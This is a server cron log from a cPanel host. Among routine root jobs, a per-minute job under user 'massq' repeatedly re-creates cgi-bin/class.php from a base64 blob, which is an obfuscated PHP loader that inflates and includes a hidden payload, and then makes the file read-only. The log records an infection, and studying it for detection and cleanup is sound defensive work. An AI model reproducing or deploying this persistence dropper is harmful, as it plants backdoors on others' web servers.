Sep  8 23:52:01 server CROND[16247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:52:01 server CROND[16248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:52:01 server CROND[16249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:53:01 server CROND[16713]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  8 23:53:01 server CROND[16714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:53:01 server CROND[16715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:53:01 server CROND[16716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:54:01 server CROND[17090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:54:01 server CROND[17091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:54:01 server CROND[17092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:55:01 server CROND[17484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:55:01 server CROND[17487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:55:01 server CROND[17488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:55:01 server CROND[17489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:55:01 server CROND[17486]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:55:01 server CROND[17490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:55:01 server CROND[17491]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:56:01 server CROND[18465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:56:01 server CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:56:01 server CROND[18467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:57:01 server CROND[18838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:57:01 server CROND[18839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:57:01 server CROND[18840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:57:01 server CROND[18841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:58:01 server CROND[19379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:58:01 server CROND[19380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:58:01 server CROND[19381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:59:01 server CROND[20344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:59:01 server CROND[20346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:59:01 server CROND[20347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:00:01 server CROND[21245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:00:01 server CROND[21246]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  9 00:00:01 server CROND[21248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:00:01 server CROND[21251]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:00:01 server CROND[21254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:00:01 server CROND[21258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:00:01 server CROND[21261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:00:01 server CROND[21260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:00:01 server CROND[21257]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 00:00:01 server CROND[21256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:00:01 server CROND[21255]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 00:01:01 server CROND[22434]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 00:01:01 server CROND[22435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:01:01 server CROND[22436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:01:01 server CROND[22437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:01:01 server run-parts(/etc/cron.hourly)[22434]: starting 0anacron
Sep  9 00:01:01 server anacron[22457]: Anacron started on 2026-09-09
Sep  9 00:01:01 server run-parts(/etc/cron.hourly)[22459]: finished 0anacron
Sep  9 00:01:01 server anacron[22457]: Normal exit (0 jobs run)
Sep  9 00:02:01 server CROND[23196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:02:01 server CROND[23197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:02:01 server CROND[23198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:03:01 server CROND[23592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
